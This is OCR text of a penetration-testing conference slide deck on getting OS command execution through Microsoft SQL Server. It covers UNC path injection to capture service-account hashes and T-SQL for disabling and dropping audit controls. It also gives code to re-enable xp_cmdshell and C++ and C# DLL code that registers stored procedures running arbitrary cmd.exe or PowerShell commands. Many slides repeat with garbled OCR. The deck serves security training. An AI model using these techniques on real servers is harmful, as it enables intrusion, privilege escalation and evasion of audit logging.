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BEYOND XP_CMDSHELL: PRESENTATION OVERVIEW SENETSPI

MISSION OBJECTIVES

1. Get Access

Hide from Audit Controls
. Execute OS Commands

Use SQL Server as a beach head

gl AN W N

Detect OS Command Execution
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Who are we?

¢ Alexander Leary
¢ Scott Sutherland
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Alexander Leary

m Alexander Leary
Job: Network & Application Pentester @ NetSPI W M I
Twitter: @0xbadjuju

.
Slides: On their way © @ F U N
W,

Code: https:/ /blog.netspi.com/expanding-the-empire-with-sql/O

Blogs: https://blog.netspi.com/author/aleary/
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Scott Sutherland

m Scott Sutherland

Job: Network & Application Pentester @ NetSPI

Twitter: @_nullbind

Slides: http://slideshare.net/nullbind
http://slideshare.net/netspi

Blogs: https://blog.netspi.com/author/scott-sutherland/

Code: https://github.com/netspi/PowerUpSQL

https://github.com/nullbind
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Get Access: Escalation Path

1. Locate SQL Servers on the domain via LDAP queries
to DC

2. Attempt to log into each one as the current
domain user

3. Perform UNC path injection to capture SQL Server
service account password hash

S NETSPI

Reference: https://blog.netspi.com/blindly-discover-sql-server-instances-powerupsql/



BEYOND XP_CMDSHELL: GET ACCESS

Get Access: Privilege Escalation Path

S NETSPI

Public Role
on
SQL Server

Domain )
Excessive
User Privileges
Access

Access
SQL Server using

UNC Path
Injection

Attack IP

Crack or Relay

Service Account
(sysadmin)

Password Hash

9 https://gist.githubusercontent.com/nullbind/7dfca2a6309a4209b5aeef181b676cébe
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Get Access: PowerUpSQL Automation

PowerUpSQL Function

Get SQL Server service account
password hashes

Invoke-SQLUncPathlnjection
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Get Access: PowerUpSQL Automation

¢ Invoke-SQLUncPathinjection
¢ Written by Thomas Elling
¢ Gold Star PowerUpSQL contributor!
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Select Administrator; Windows PowerShell HE“

PS C:\temp\PowerUpSQL>
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Checking Audit Controls

¢ List Server audits

¢ List Server audit specifications (DDL Events)

¢ List Database audit specifications (DML Events)

15 https://msdn.microsoft.com/en-us/library/cc280663(v=sql.100).aspx
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Checking Audit Controls - Code - List Server Audits

SELECT * FROM sys.dm_server_audit_status




File  Edit View  Query Project Debug Tools Window  Help
Q- | l+l3 - - W | I__"| Mew Query UI] hl::-;I :ru:l fih o4 | '—'I | 9 - Q. '| |
Ny | raster - | [» Execute Debug v it B . | o =T | o2 S8 | i

50LCuery3.sql - MET...\ssutherland (38))* &= X
-- View audits
SELECT * FROM dm_server_audit_st:

100 % -

gtatus  status_desc  status_time event_session_address  audit_file_path  audit_file_size
1 STARTED 20170508 09:15:05.6000000 [DDODD1EFDS14D741  NULL MULL
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Checking Audit Controls - Code - List Server Specs

SELECT audit_id,
a.name as audit_name,

s.name as server_specification_name,
d.audit_action_name,

s.is_state_enabled,

d.is_group,

d.audit_action_id,

s.create_date,

s.modify_date

FROM sys.server_audits AS a

JOIN sys.server_audit_specifications AS s

ON a.audit_guid = s.audit_guid

JOIN sys.server_audit_specification_details AS d

ON s.server_specification_id = d.server_specification_id




File Edit Wiew Query Project Debug Tools Window  Help

i@ -0 B - P BNy BRIKI XAA|2-C - H

“F | master = | b Execute Debug v i | EAmalc

S0LCuery3.sgl - MET...I\ssutherland (38))* +
-- View server specifications
SELECT audit_id,

.name as audit name,
z.name as server specification name,
.audit action _name,
is_state_enabled,
.is_group,
caudit_action_id,
;. create date,
:.modify date
server_audits AS a3

rver_audit specifications AS s
t_guid = s.audit guid
server_audit specification_details As d
ON s.server specification id = d.serwver specificaticon id

100 % -

SErVEr | audit_action_name
'k Derbyconfudit]  Audit_S ; i AUDIT_CHANGE_GROUP
Derbyconfudit | Audit_Serve SERVER_OPERATION_GROUP

is_group
1
1

audit_actio

CHNAL

OPSV
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Checking Audit Controls - Code - List Database Specs

SELECT a.audit_id,
a.name as audit_name,

S.name as database_specification_name,
d.audit_action_name,

d.major_id,

OBJECT_NAME(d.major_id) as object,

S.is_state enabled,

d.is_group, s.create date,

s.modify date,

d.audited_result

FROM sys.server_audits AS a

JOIN sys.database audit_specifications AS s

ON a.audit_guid = s.audit_guid

JOIN sys.database audit_specification_details AS d

ON s.database_specification_id = d.database_specification_id




File  Edit View  Query Project Debug Tools Window  Help
fO-o |- -2 W By BRESER XAD|2-C - H
: ~F | master - | P Execute Debug v 53 | 5”2 Y | gz 58 o) | )

S0LCuery3.sql - MET...\ssutherland (38))* & X
-- View database specifications
-|SELECT a.audit_id,
.name as audit_name,
.name as database_specification_name,
.audit_action_name,
.major_id,
OBJECT_NAME(d.major_id) as object,
.is_state_enabled,
.is_group, s.create_date,
.modify_date,
.audited result
FROM sys.server_audits AS a
J0IN sys.database_audit specifications A5 s
ON a.audit_guid = s.audit_guid
J0IN sys.database_audit specification_details a5 d
ON s.database_specification_id = d.database_specification_id

Generic Debugger - :

100 % -
EH Resuts 2 Messages

id Jaudit_name database_specffication_name Jpudit_action_name  major_id object iz_state_enabled | is_group  create_date modify_date
Detyoonfudt J Audit_OSCMDEXEC EXECUTE 1008137134 xp_cmdshell 1 0 20170508 09:15:05.600  2017-05-08 09:1

Derbyconfudit | Audit_OSCMDEXEC EXECUTE 547735043 sp_OACreate 20170508 09:159:05.600 20170508 091
Derbyconfudit | Audit_OSCMDEXEC EXECUTE -778373031

Derbyconfudit § Audit_OSCMDEXEC EXECUTE -243809429

1 0
sp_addextendedproc 1 1] 2017-09-08 09:15:05.600  2017-05-08 09:1
1 1]

sp_execute_extemal_script

20170908 09:15:05.600 201740508 09:1
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Hiding from Audit Controls
¢ Remove audit controls - not recommended

¢ Disable audit controls - not recommended

¢ Just use techniques that aren’t being audited
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Hiding from Audit Controls -Disable or Remove Audit

-- Disable and remove SERVER AUDIT
ALTER SERVER AUDIT DerbyAudit
WITH (STATE = OFF)

DROP SERVER AUDIT Audit_StartUp_Procs

-- Disable and remove SERVER AUDIT SPECIFICATION
ALTER SERVER AUDIT SPECIFICATION Audit_Server_Configuration_Changes
WITH (STATE = OFF)

DROP SERVER AUDIT SPECIFICATION Audit_Server_Configuration_Changes

-- Disable and remove DATABASE AUDIT SPECIFICATION
ALTER DATABASE AUDIT SPECIFICATION Audit. OSCMDEXEC
WITH (STATE = OFF)

DROP DATABASE AUDIT SPECIFICATION Audit. OSCMDEXEC



File  Edit Wiew Query Project Debug Tools  Window elp

(e -0 B it M Breaey BEARR XAH[D-C B Generic Debugger = 7
| master - | b Execute Debug ® o/ e AR

S0L0uery5.sql - MET...Nssutherland (35)) + X
-- View server specifications
—|SELECT audit id,
.hame as audit_name,
.name as server specification name,
.audit_action_name,
.is_state_enabled,
.is_group,
.audit_action_id,

“This event is raised
whenever any audit is |, .. 4
created, modified or Kcification_id
deleted.”

100% -
FH Resuts [ Messages

audt_id  audit_name server_specification_name i is_state enabled || is_group  audit_action_id  create_date madify_date
1 DebyconAudit  Audit_Server Corfigurstion_Changes | AUDIT CHANGE GROUP 0 1 CHAL 2017-09-08 09:19:05.600 201740908 09:15:05.6
2 6h537 DebyoconAudit  Audit_Server_Configuration_Changes 0 QPsY 2017-05-08 059:159:05.600 20170508 09:159.05.6
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Obtain Sysadmin Access - Automation - PowerUpSQL

PowerUpSQL Function

Get Server Specifications Get-SQLAuditServerSpec
Get Database Specifications Get-SQLAuditDatabaseSpec

==} Administrator: Windows PowerShell ISE

File Edit View Tools Debug Add-ons Help

& B & B X P > B = 8 Boo &

PS C:\> Get-SQLAuditDatabaseSpec -Instance MSSQLSRV04\SQLSERVER2014

computerName . MSSQLSRV04
Instance : MSSQLSRVO04\SQLSERVER2014

Auditid - 65537
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Reminder
OS commands via SQL Server = Windows Account Impersonation

Many possible configurations:
¢ Local User
Local System
Network Service
Local Managed Service Account
Domain Managed Service Account
Domain User
Domain Admin

4
4
4
4
4
4
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dowsQperating System

SQL Server Instance 1J(Windows Service

SQL Serve rwm Server login Windows accoun

myuserl Domain\myuser2

Database 1 * *

Maps to database user Maps to database user
myuserl myuser2 Service

v v WY

Table 2 Table 2 Table 3
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Use SQL Server components to run commands via

¢ Net Methods
— New Process() + UseShellExecute
— System.management.automation.powershell

¢ C++ Methods
— ShellExecute / ShellExecuteEx

— System
¢ COM Objects

— wscript.shell
— shell.application
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xp_cmdshell
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xp_cmdshell: Overview

1. C++ DLL export registered by default

2. Affected Versions: All
— Disabled by default since SQL Server 2005

3. Requires sysadmin role by default

xp_cmdshell_proxy_account is configured correctly ,]

| )
5. Executes as the SQL Server service account | v
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xp_cmdshell: Configuration Changes and Execution

TSQL Example

Re-Install sp_addextendedproc 'xp_cmdshell’, xplog70.dll’

EXEC sp_configure 'show advanced options’, 1;
RECONFIGURE;
GO

Re-Enable
EXEC sp_configure xp_cmdshell’, 1;
RECONFIGURE;
GO

Execute Exec master..xp_cmdshell ‘'whoami’
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xp_cmdshell: Automation - PowerUpSQL

PowerUpSQL Function

Execute OS Commands via
xp_cmdshell

Invoke-SQLOSCmdExec
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xp_cmdshell is monitored more than we’d like

CAN THEY

Yes, yes they can.
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THERE ARE
OTHER
OPTIONS
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W

S

Extended Stored Procedures
CLR Assemblies

Agent Jobs
(@) CMDEXEC (b) PowerShell (c) ActiveX: VBScript (d) ) ActiveX: Jscript (e) SSIS

Ole Automation Procedures

R Scripts
Python Scripts
Openrowset/OpenDataSource/OpenQuery using Providers

Registry and file autoruns
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Extended Stored
Procedures  aZ.
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Extended Stored Procedure (XP) - Overview
1.

2.
3.
4.
5.
6.

C++ DLL export that maps to SQL Server stored procedure
Affected Versions: All

Requires sysadmin role by default

Executes as the SQL Server service account

The DLL can have any file extension © r a
The DLL can be loaded from Webdav © \ @
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Extended Stored Procedure (XP) - Instructions
1. Compile the C++ DLL

2. Register the exported DLL functions in SQL Server using
“sp_addextendedproc” (“DBCC ADDEXTENDEDPROC” wrapper)




BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP S NETSPI
Extended Stored Procedure - Code - C++

#include "stdio.h"
#include "stdafx.h"
#include "srv.h"
#include "shellapi.h"
#include "string"

BOOL APIENTRY DlIMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID IpReserved) {
switch (ul_reason_for_call)
{

case DLL_PROCESS ATTACH:

case DLL_THREAD_ATTACH:

case DLL_THREAD DETACH:

case DLL_PROCESS_ DETACH:

break;

}

return 1;

}

__declspec(dllexport) ULONG __ GetXpVersion() {
return 1;

}

#define RUNCMD_FUNC extern "C" __declspec (dllexport)

RUNPS_FUNC int __stdcall RunPs(const char * Command) {

ShellExecute(NULL, TEXT("open"), TEXT("powershell"), TEXT(" -C\" 'This is a test.'|out-file c:\\temp\\test_ps2.txt\" "), TEXT(" C:\\"), SW_SHOW);
system("PowerShell -C\"'This is a test.'|out-file c:\\temp\\test_ps21.txt\"");

return 1;

}

Reference: https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/creating-extended-stored-procedures

41

Reference: http://stackoverflow.com/questions/12749210/how-to-create-a-simple-dll-for-a-custom-sql-server-extended-stored-procedure
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Extended Stored Procedure - Code - C++

#include "stdio.h"
#include "stdafx.h"
#include "srv.h"
#include "shellapi.h"
#include "string"

BOOL APIENTRY DlIMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID IpReserved) {
switch (ul_reason_for_call)

{
case DLL_PROCESS_ATTACH:

case DLL_THREAD_ ATTACH:
case DLL_THREAD DETACH:
case DLL_PROCESS DETACH:
break;

}

return 1;

}

__declspec(dllexport) ULONG __GetXpVersion() {
return 1;

}

#define RUNCMD_FUNC e == declspec (dllexport)
RUNPS_FUNC int __stdcalj RunPs(qonst char * Command) {

ShellExecute(NULL, TEXT( , TEXT("powershell"), TEXT(" -C\" 'This is a test.'|out-file c:\\temp\\test_ps2.txt\" "), TEXT(" C:\\"), SW_SHOW);

system("PowerShell -C\"'This is a test.'|out-file c:\\temp\\test_ps21.txt\"");
return 1;

}

Reference: https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/creating-extended-stored-procedures

42

Reference: http://stackoverflow.com/questions/12749210/how-to-create-a-simple-dll-for-a-custom-sql-server-extended-stored-procedure
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Extended Stored Procedure - Code - C++

#include "stdio.h"
#include "stdafx.h"
#include "srv.h"
#include "shellapi.h"
#include "string"

BOOL APIENTRY DlIMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID IpReserved) {
switch (ul_reason_for_call)

{
case DLL_PROCESS_ATTACH:

case DLL_THREAD_ ATTACH:
case DLL_THREAD DETACH:
case DLL_PROCESS DETACH:
break;

}

return 1;

}

__declspec(dllexport) ULONG __GetXpVersion() {
return 1;

}

#define RUNCMD_FUNC extern "C" __declspec (dllexport)
LN ot sideallRunbDeloangi char - Caommandl/
IS

heIIEx_ecute(NUL:TEXT("open"), TEXT("powershell"), TEXT(" -C\" 'This is a test.'|out-file c:\\temp\\test_ps2.txt\" "), TEXT(" C:\\"), SW_SHOW);
SYoIEM{ POWETSNEN -C 1t TS 15 aeot. JOUL-TE C.nempest por.e. o,
return 1;

}

Reference: https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/creating-extended-stored-procedures

43

Reference: http://stackoverflow.com/questions/12749210/how-to-create-a-simple-dll-for-a-custom-sql-server-extended-stored-procedure
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Extended Stored Procedure - Code - C++

#include "stdio.h"
#include "stdafx.h"
#include "srv.h"
#include "shellapi.h"
#include "string"

BOOL APIENTRY DlIMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID IpReserved) {
switch (ul_reason_for_call)
{

case DLL_PROCESS ATTACH:

case DLL_THREAD_ATTACH:

case DLL_THREAD DETACH:

case DLL_PROCESS_ DETACH:

break;

}

return 1;

}

__declspec(dllexport) ULONG __GetXpVersion() {
return 1;

}

#define RUNCMD_FUNC extern "C" __declspec (dllexport)

RUNPS_FUNC int __stdcall RunPs(const char * Command) {

SheollExecute(NULL _TEXT("gnen") TEXT("pnaowershell™) TEXT(" -C\" 'This is atest 'lout-file c-\\temp\W\est ns2 it \" ") TEXT(™ C-\\") SW SHOW)
I:é/stem("PowerSheII -C\"'This is a test.'|out-file c:\\temp\\test_ps1.txt\"");

tOrIn =L,

}

Reference: https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/creating-extended-stored-procedures

44

Reference: http://stackoverflow.com/questions/12749210/how-to-create-a-simple-dll-for-a-custom-sql-server-extended-stored-procedure
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-- Register xp via local disk
sp_addextendedproc ‘RunpPs', ‘c:\runps.dll’

-- Register xp via UNC path
sp_addextendedproc ‘RunPs', '\\servername\pathtofile\runps.dill’

-- Register xp via webdav path
sp_addextendedproc ‘RunPs', '\\servername@80\pathtofile\runps.dll’

-- Register xp via webdav path and renamed with a .txt extension
sp_addextendedproc ‘RunPs', '\\servername@80\pathtofile\runps.txt’

-- Run xp
Exec RunPs

-- Remove Xp
sp_dropextendedproc ‘RunPs’

Confidential & Proprietary



BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP SENETSPI

Extended Stored Procedures - Automation - PowerUpSQL

PowerUpSQL Function

Create DLL to Execute OS
Commands via XP

List existing XP for all
databases

Create-SQLFileXpDll

Get-SQLStoredProcedurexP
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Extended Stored Procedure - Automation - PowerUpSQL

PS C:\> Import-Module .\PowerupsQL.psdl
PS c:> Create-SQLFilexpDl1l -verbose -OutFile c:\mycmd.dl1 -Command "echo pure evil >
c:\evil.txt" -ExportName xp_mycmd

VERBOSE: Found buffer offset for command: 32896

VERBOSE: Found buffer offset for function name: 50027

VERBOSE: Found buffer offset for buffer: 50035

VERBOSE: Creating DLL c:\mycmd.d11

VERBOSE: - Exported function name: xp_mycmd

VERBOSE: - Exported function command: "echo pure evil > c:\evil.txt"
VERBOSE: - Manual test: rundl132 c:\mycmd.d11,xp_mycmd

VERBOSE: - DLL written

VERBOSE: SQL Server Notes

VERBOSE: The exported function can be registered as a SQL Server extended stored
procedure. ..

VERBOSE: - Register xp via local disk: sp_addextendedproc 'xp_mycmd', 'c:\myxp.dl1'
VERBOSE: - Register xp via UNC path: sp_addextendedproc 'xp_mycmd',
"\\servername\pathtofile\myxp.dll1'

VERBOSE: - Unregister xp: sp_dropextendedproc 'xp_mycmd
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Extended Stored Procedure - Automation - PowerUpSQL

PS_C:\> Import-Module .\PowerUpSQL.psdl
PS c:> Create- SQLF11eXpD11 “Verbose -OutFile c: \mycmd. di1 -Command "echo pure evil >
c:\evil.txt" -ExportName xp_mycmd

VERBOSE: Found buffer offset for command: 32896

VERBOSE: Found buffer offset for function name: 50027

VERBOSE: Found buffer offset for buffer: 50035

VERBOSE: Creating DLL c:\mycmd.d11

VERBOSE: - Exported function name: xp_mycmd

VERBOSE: - Exported function command: "echo pure evil > c:\evil.txt
VERBOSE: - Manual test: rundl132 c:\mycmd.d11,xp_mycmd

VERBOSE: - DLL written

VERBOSE: SQL Server Notes

VERBOSE: The exported function can be registered as a SQL Server extended stored
procedure. ..

VERBOSE: - Register xp via local disk: sp_addextendedproc 'xp_mycmd', 'c:\myxp.dl1'
VERBOSE: - Register xp via UNC path: sp_addextendedproc 'xp_mycmd',
"\\servername\pathtofile\myxp.dll1'

VERBOSE: - Unregister xp: sp_dropextendedproc 'xp_mycmd
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Extended Stored Procedure - Automation - PowerUpSQL

PS C:\> Import-Module .\PowerupsQL.psdl
PS c:> Create-SQLFilexpDl1l -verbose -OutFile c:\mycmd.dl1 -Command "echo pure evil >
c:\evil.txt" -ExportName xp_mycmd

VERBOSE: Found buffer offset for command: 32896
VERBOSE: Found buffer offset for function name: 50027
VERBOSE: Found buffer offset for buffer: 50035
3 . c:\mvcamnd.dll
VERBOSE: - Exported function name: xp_mycmd
VERBOSE: - Exported function command: "echo pure evil > c:\evil.txt"
VERBOSE: - Manual test: rundl132 c:\mycmd.dl11,xp_mycmd
VERBOSE: - DLL wrictcen

VERBOSE: SQL Server Notes

VERBOSE: The exported function can be registered as a SQL Server extended stored
procedure. ..

VERBOSE: - Register xp via local disk: sp_addextendedproc 'xp_mycmd', 'c:\myxp.dl1'
VERBOSE: - Register xp via UNC path: sp_addextendedproc 'xp_mycmd',
"\\servername\pathtofile\myxp.dll1'

VERBOSE: - Unregister xp: sp_dropextendedproc 'xp_mycmd
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Common Language
Runtime (CLR)
Assemblies
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CLR Assemblies- Overview

1.
2. Affected Versions: SQL Server 2008 to 2017 (so far)
3.
4

.net DLL method that maps to a SQL Server stored procedure ©

Requires sysadmin role by default

. Non sysadmin privileges: CREATE ASSEMBLY, ALTER ASSEMBLY, or
DDL_ADMIN Role 2 a

Executes as the SQL Server service account V¥
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CLR Assemblies- Overview
Lots of great work by:

¢ Lee Christensen (®@tifkin_)

¢ Nathan Kirk

53 http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/
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CLR Assemblies - Instructions

S S

Compile a .net assembly DLL
Server level setting: “clr enabled” set to 1
Server level setting: “clr strict security” set to 0 (2017)

Database level setting: “is_trustworthy” is set to “1”
- (or) use the default “msdb” database

Create Assembly from the file (or hexdecimal string) ( a .
- assembly is stored in SQL Server Table “l‘ V@ ,
Create Procedure that maps to CLR methods rd £ 2
Run your procedure v >

Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1

Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
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CLR Assemblies - Code Sample - .net DLL

using System;

using System.Data;

using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;

using System.Diagnostics;

using System.Text;

public partial class StoredProcedures {

[Microsoft.SqglServer.Server.SglProcedure] public static void cmd_exec (SqglString execCommand)

{
/l Run command
Process proc = new Process();
proc.Startinfo.FileName = @"C:\Windows\System32\cmd.exe";
proc.Startinfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.Startinfo.UseShellExecute = false; proc.Startinfo.RedirectStandardOutput = true;
proc.Start();

/l Return command resutls

SqlDataRecord record = new SqglDataRecord(new SglMetaData("output”, SqlDbType.NVarChar, 4000));
SqlContext.Pipe.SendResultsStart(record);

record.SetString(0, proc.StandardOutput.ReadToEnd(). ToString());
SqlContext.Pipe.SendResultsRow(record);

SqlContext.Pipe.SendResultsEnd();

proc.WaitForExit();
proc.Close();

Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
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CLR Assemblies - Code Sample - .net DLL

using System;

| \otom nafn:
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqglServer.Server;

using System.Diagnostics;
using System.Text;

public partial class StoredProcedures {

[Microsoft.SqglServer.Server.SglProcedure] public static void cmd_exec (SqglString execCommand)

{
/l Run command
Process proc = new Process();
proc.Startinfo.FileName = @"C:\Windows\System32\cmd.exe";
proc.Startinfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.Startinfo.UseShellExecute = false; proc.Startinfo.RedirectStandardOutput = true;
proc.Start();

/[l Return command results

SqlDataRecord record = new SqglDataRecord(new SglMetaData("output”, SqlDbType.NVarChar, 4000));
SqlContext.Pipe.SendResultsStart(record);

record.SetString(0, proc.StandardOutput.ReadToEnd(). ToString());
SqlContext.Pipe.SendResultsRow(record);

SqlContext.Pipe.SendResultsEnd();

proc.WaitForExit();
proc.Close();

Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
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CLR Assemblies - Code Sample - .net DLL

using System;

using System.Data;

using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;

using System.Diagnostics;

using System.Text;

public partial class StoredProcedures {
[Microsoft.SqglServer.Server.SqlProcedure] public static voidjcmd_exec (SqlString execCommand)

{

/[ Run command

Process proc = new Process();

proc.Startinfo.FileName = @"C:\Windows\System32\cmd.exe";

proc.Startinfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.Startinfo.UseShellExecute = false; proc.Startinfo.RedirectStandardOutput = true;
proc.Start();

/[l Return command results

SqlDataRecord record = new SqglDataRecord(new SglMetaData("output”, SqlDbType.NVarChar, 4000));
SqlContext.Pipe.SendResultsStart(record);

record.SetString(0, proc.StandardOutput.ReadToEnd(). ToString());
SqlContext.Pipe.SendResultsRow(record);

SqlContext.Pipe.SendResultsEnd();

proc.WaitForExit();
proc.Close();

Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
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CLR Assemblies - Code Sample - .net DLL

using System;

using System.Data;

using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;

using System.Diagnostics;

using System.Text;

public partial class StoredProcedures {
[Microsoft.SqglServer.Server.SglProcedure] public static void cmd_exec (SqglString execCommand)
{

Process proc = new Process();

proc.Startinfo.FileName = @"C:\Windows\System32\cmd.exe";
proc.Startinfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.Startinfo.UseShellExecute = ; proc.Startinfo.RedirectStandardOutput =
proc.Start();

/[l Return command results

SqlDataRecord record = new SqglDataRecord(new SglMetaData("output”, SqlDbType.NVarChar, 4000));
SqlContext.Pipe.SendResultsStart(record);

record.SetString(0, proc.StandardOutput.ReadToEnd(). ToString());
SqlContext.Pipe.SendResultsRow(record);

SqlContext.Pipe.SendResultsEnd();

proc.WaitForExit();
proc.Close();

Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/

S NETSPI
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using System;

using System.Data;

using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;

using System.Diagnostics;

using System.Text;

public partial class StoredProcedures {

[Microsoft.SqglServer.Server.SglProcedure] public static void cmd_exec (SqglString execCommand)

{
/l Run command
Process proc = new Process();
proc.Startinfo.FileName = @"C:\Windows\System32\cmd.exe";
proc.Startinfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.Startinfo.UseShellExecute = false; proc.Startinfo.RedirectStandardOutput = true;
proc.Start();

SqglDataRecord record = new SglDataRecord(new SglMetaData("output”, SqlDbType.NVarChar, 4000));
SqlContext.Pipe.SendResultsStart(record);

record.SetString(0, proc.StandardOutput.ReadToEnd(). ToString());
SqlContext.Pipe.SendResultsRow(record);

SqlContext.Pipe.SendResultsEnd();

proc.WaitForExit();
proc.Close();

Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
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CLR Assemblies - Code Sample - TSQL

-- Select the msdb database
use msdb

-- Enable show advanced options on the server
sp_configure 'show advanced options’,1
RECONFIGURE

GO

-- Enable CLR on the server
sp_configure 'clr enabled’,1
RECONFIGURE

GO

-- Create the assembly from a file path
CREATE ASSEMBLY my_assembly FROM 'c:\temp\cmd_exec.dll' WITH PERMISSION_SET = UNSAFE;

-- Create a procedure that links to the CLR method

CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME
[my_assembly].[StoredProcedures].[cmd_exec];

GO

-- Execute the procedure
Exec cmd_exec ‘whoami’

Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/




BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR S NETSPI
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-- Select the msdb database
use msdb

-- Enable show advanced options on the server
sp_configure 'show advanced options’,1
RECONFIGURE

GO

-- Enable CLR on the server
sp_configure 'clr enabled’,1
RECONFIGURE

GO

-- Create the assembly from a file path
CREATE ASSEMBLY my_assembly FROM 'c:\temp\cmd_exec.dll' WITH PERMISSION_SET = UNSAFE;

-- Create a procedure that links to the CLR method

CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME
[my_assembly].[StoredProcedures].[cmd_exec];

GO

-- Execute the procedure
Exec cmd_exec ‘whoami’

Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
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CLR Assemblies - Code Sample - TSQL

-- Select the msdb database
use msdb

-- Enable show advanced options on the server
sp_configure 'show advanced options’,1
RECONFIGURE

GO

-- Enable CLR on the server
sp_configure 'clr enabled’,1
RECONFIGURE

GO

-- Create the assembly from a file path
CREATE ASSEMBLY my_assembly FROM 'c:\temp\cmd_exec.dll'

-- Create a procedure that links to the CLR method

WITH PERMISSION_SET = UNSAFE;

CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME

[my_assembly].[StoredProcedures].[cmd_exec];
GO

-- Execute the procedure
Exec cmd_exec ‘whoami’

Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/

S NETSPI
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CLR Assemblies - Code Sample - TSQL

-- Select the msdb database
use msdb

-- Enable show advanced options on the server
sp_configure 'show advanced options’,1
RECONFIGURE

GO

-- Enable CLR on the server
sp_configure 'clr enabled’,1
RECONFIGURE

GO

-- Create the assembly from a file path
CREATE ASSEMBLY my_assembly FROM 'c:\temp\cmd_exec.dll' WITH PERMISSION_SET = UNSAFE;

-- Create a procedure that links to the CLR method

CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME
[my_assembly].[StoredProcedures].[cmd_exec];

GO

-- Execute the procedure
Exec cmd_exec ‘whoami’

Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
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CLR Assemblies - Code Sample - TSQL

-- Select the msdb database
use msdb

-- Enable show advanced options on the server
sp_configure 'show advanced options’,1
RECONFIGURE

GO

-- Enable CLR on the server
sp_configure 'clr enabled’,1
RECONFIGURE

GO

-- Create the assembly from a file path
CREATE ASSEMBLY my_assembly FROM 'c:\temp\cmd_exec.dll' WITH PERMISSION_SET = UNSAFE;

-- Create a procedure that links to the CLR method
c]l @execCommand NVARCHAR (4000) AS EXTERNAL NAME
[my assembly]. [StoredProcedures] [cmd_exec];

-- Execute the procedure
Exec cmd_exec ‘whoami’

Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
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CLR Assemblies - Code - TSQL - Select Assemblies

USE msdb;

SELECT  SCHEMA_NAME(so.[schema_id]) AS [schema_name],
af.file_id,
af.name + ".dll' as [file_name],
asmbly.clr_name,
asmbly.assembly_id,
asmbly.name AS [assembly_name],
am.assembly_class,
am.assembly_method,
so.object_id as [sp_object_id],
so.name AS [sp_name],
so.[type] as [sp_type],
asmbly. permission_set_desc,
asmbly.create_date,
asmbly.modify_date,
af.content

FROM sys.assembly_modules am

INNER JOIN sys.assemblies asmbly

ON asmbly.assembly_id = am.assembly_id

INNER JOIN sys.assembly_files af

ON  asmbly.assembly_id = af.assembly_id

INNER JOIN sys.objects so

ON  so.[object_id] = am.[object_id]

66 Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/



L= SQLQuery3.sql - MSSQLSRVO4\SQLSERVER2014.msdb (sa (53))* - Microsoft SQL Server Manage... uick Launch
File Edit View QOuery Project Debug Tools Window Help
e o @ o QNewouey BBE|X G |D? Q- [E
¢ R | msdb - | ¥ Execute Debug ¢ v 35 E |37 87 W Q80 0|
50L0uery3.sgl - MS..014msdb (sa (33))F & X
SELECT SCHEMA NAME(so.[schema 1d]) AS [schema name],
af.file id,
af.name + ".dll1" as [file name],
asmbly.clr name,
asmbly.assembly id,
asmbly.name AS [assembly name],
am.assembly class,
am.assembly method,

_'_’1 Messages

file_name clr_name azsembly_id  assembly_name  assembly_class assembly_method  sp_object_id  sp_name sp_type  pemis

